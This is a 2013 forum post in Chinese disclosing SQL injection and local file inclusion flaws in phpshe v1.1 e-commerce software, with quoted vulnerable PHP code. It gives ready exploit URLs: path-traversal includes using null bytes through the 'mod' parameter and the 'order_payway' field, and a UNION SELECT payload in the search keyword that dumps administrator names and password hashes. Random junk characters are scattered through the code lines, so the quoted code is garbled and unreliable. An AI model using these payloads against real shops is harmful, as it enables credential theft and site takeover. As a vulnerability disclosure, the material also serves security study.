找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2846|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
5 K7 F+ g/ h( [( t1 `: J" y/* Phpshe v1.1 Vulnerability% ^- {) n2 R- x- k( u
/* ========================. ?9 I/ @6 }: o' }9 D
/* By: : Kn1f3
& w4 L3 q/ o" }! V/* E-Mail : 681796@qq.com4 V. v: N4 Z7 t- I+ r* S. S& X0 d# `
/*******************************************************/
& a/ X( Y: `8 ]# R0×00 整体大概参数传输8 @' `$ s9 m, n* t( L2 A

! t* f& j5 l0 O+ f' f+ X' L# G' U" k' Q* X

% n/ P' t: a- Z. B//common.php
; r4 G* n* Z* Z  Aif (get_magic_quotes_gpc()) {7 V+ y1 p; i7 Q4 v* e  A( {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
$ k) U' W% G8 q0 b; q; N$ s!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
/ r* f6 A/ r2 V1 p2 u; n4 b& |}
) A* d8 o) h5 A% W1 t1 selse {5 _4 J9 _' i' t0 v5 a3 [8 r
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
# K" u# {- s" [( X" O+ d!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');, E* M# Y+ s0 y/ i
}2 Z( y. S" a7 S. E( t% [) D
session_start();0 R6 V8 Y8 y6 p: i: P
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');+ P1 I) y1 C5 m% @# \
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
$ T# Q1 m* s- ], ~
% r3 U% W$ A5 U; ?! I7 C: S9 F0 o8 ^9 {0×01 包含漏洞; V; m. r- N7 `) L* D1 ?3 a& N
. y( }9 x' y2 W: ]# F& z3 [9 Y6 ?5 ^. }
+ m5 g6 \) t8 h5 l7 C7 v
//首页文件
+ |7 c8 v3 I! P5 \" ]' J<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
" o8 L- |% C! R. y$ T1 s% k- Vinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞0 e+ Z7 j% ^+ E, E
pe_result();3 J6 P* V9 F0 n5 ]& t0 f
?>
7 h' K+ v2 b+ N8 A- A//common 文件 第15行开始& q/ E$ N& Z8 f7 s' A) V+ R
url路由配置2 m  A& t! r. l8 e5 v7 r
$module = $mod = $act = 'index';9 `0 m* m" O: q5 K$ }! R4 R" l6 m
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);4 y' d; v( X' k3 Y6 F  o
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);7 w# J) [' h4 T6 n  @
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
& s( \! M. G# w% t/ O7 P& o//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00' p& I1 w0 j, M& u1 u


. J8 r4 f/ G) `, q. q( {# T! ~" ` 2 o# c. {2 P0 W& |: n
0×02 搜索注入: H+ R8 D) t9 J0 i& ]- t: J" w

: B% |3 H# F. c% |<code id="code2">

//product.php文件
0 R) l& g( f8 C$ g' B: Gcase 'list':* ~* ~5 _9 {$ N' E1 S& h: R
$category_id = intval($id);4 m: g, S+ ]& m3 M( O0 l7 M" O
$info = $db->pe_select('category', array('category_id'=>$category_id));
- t4 V! k1 r7 `9 D//搜索
9 r) j/ ^2 r" t& r, a$sqlwhere = " and `product_state` = 1";
2 E7 l1 z7 N$ k1 y" Zpe_lead('hook/category.hook.php');
; M, W0 `- U+ J" n7 [if ($category_id) {5 [- }/ {; X. D3 D" ^
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
6 r1 w3 n9 j2 D}9 A/ v+ T5 j- g
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤. v8 q1 @  U; P( H0 s
if ($_g_orderby) {. T2 }" X# j: f9 M" U: u3 V# \* @
$orderby = explode('_', $_g_orderby);
1 `3 L2 m2 g, a$ `" \8 t) y+ e/ ]$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";& I1 m3 _5 J8 z! Q7 t7 d* }# Q
}& N' R/ T+ R# p$ o" k
else {. Z0 P6 L1 f, \9 P; U9 J% |" A
$sqlwhere .= " order by `product_id` desc";2 S6 H4 y' {: t
}4 s. G$ F% ]& C
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
6 q7 U1 V; K4 s- i( B: l/ L//热卖排行
1 L! @' \8 i7 h) J( \$product_hotlist = product_hotlist();
) H1 \1 x/ q5 U1 \: U( G1 t//当前路径
" k  I% R7 B) T3 I2 W$nowpath = category_path($category_id);' x/ S0 w4 z( x) @& Q
$seo = pe_seo($info['category_name']);3 H) h. `: D8 A8 \# V
include(pe_tpl('product_list.html'));
1 z" q; Q. _. o5 p! Z8 ~' L& [% W//跟进selectall函数库9 R; Y) X7 M8 u1 s; d: {+ ]
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
* P5 m, G' ]# M! h, P. @. t{. l4 H  z  o% E
//处理条件语句9 O* l- w" [# @
$sqlwhere = $this->_dowhere($where);* d1 r( z" g/ T! C4 q0 m8 f0 C
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
4 M: ]$ ~$ y) X+ U6 I& i8 f& Q2 [0 c}7 T2 d# A+ r* M3 M) F5 C6 H
//exp
0 ?: K, G$ N  l3 c+ a- T6 i" ^$ N7 vproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
4 y+ K% ?- h) m" P0 H, Q6 J" a2 T

</code>
& s0 p, m2 n3 ?2 D' }) R/ \, s
% r. J; \8 {6 K+ P  U2 t6 h" K$ z0×03 包含漏洞27 g3 s( n% g) P8 g7 j. X
) @' F- n2 z/ M, A2 O
<code id="code3">

//order.php

case 'pay':

/ r# Y/ \7 i% e9 c1 @+ l* K
$order_id = pe_dbhold($_g_id);

: T6 E, D7 c8 l+ s: i
$cache_payway = cache::get('payway');

: |: [1 v7 l# \
foreach($cache_payway as $k => $v) {

8 k0 n$ p' g6 Q; i5 a# f
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


- d3 w9 }4 u1 u! ^. r& |if ($k == 'bank') {


$ \. s  N/ O: l+ k$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

  z5 g9 e4 u  B: |
}

; R3 [# \3 \& g$ X) X/ j$ i$ y
}

9 d( [( ]' I  U% p* W' u' \
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

2 ?. k* w: x' `; E" m9 t6 ]$ h; ?# i
!$order['order_id'] && pe_error('订单号错误...');


5 R7 E( _3 f) p7 Y# Aif (isset($_p_pesubmit)) {

6 o+ T9 G  T: W6 E3 \3 K
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$ X3 R4 l9 U3 X% [  \% V
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


3 h8 w; R/ Y: x6 d/ m( R0 gforeach ($info_list as $v) {

+ p$ s9 o. q1 A8 C' g
$order['order_name'] .= "{$v['product_name']};";" @$ m( i0 o9 v9 j; f8 _* {

' k0 l3 u+ T$ j9 p" _/ b+ _6 k
}


) \9 Y( ?5 H8 P9 p( G# L# b' t5 {echo '正在为您连接支付网站,请稍后...';

0 T/ L2 |7 f4 H
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


  W# F) w; k& m, j2 a7 F}//当一切准备好的时候就可以进行"鸡肋包含了"

; ?0 J, Q0 z( R  {& f" p3 {- g
else {

5 T7 @3 a% w/ ^, e) Y' V
pe_error('支付错误...');


6 L3 K/ \; b9 E) s6 n) l8 u}

) x- {2 s: l1 g( V4 j+ y) Z" s
}


5 T$ H- E* e" m* i# Z3 L, S$seo = pe_seo('选择支付方式');


/ Q7 ~- ]2 E' [include(pe_tpl('order_pay.html'));


5 G1 N4 q1 \8 @6 W+ D/ N8 Ubreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
% L' b% d- v; A) c$ _" Z

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表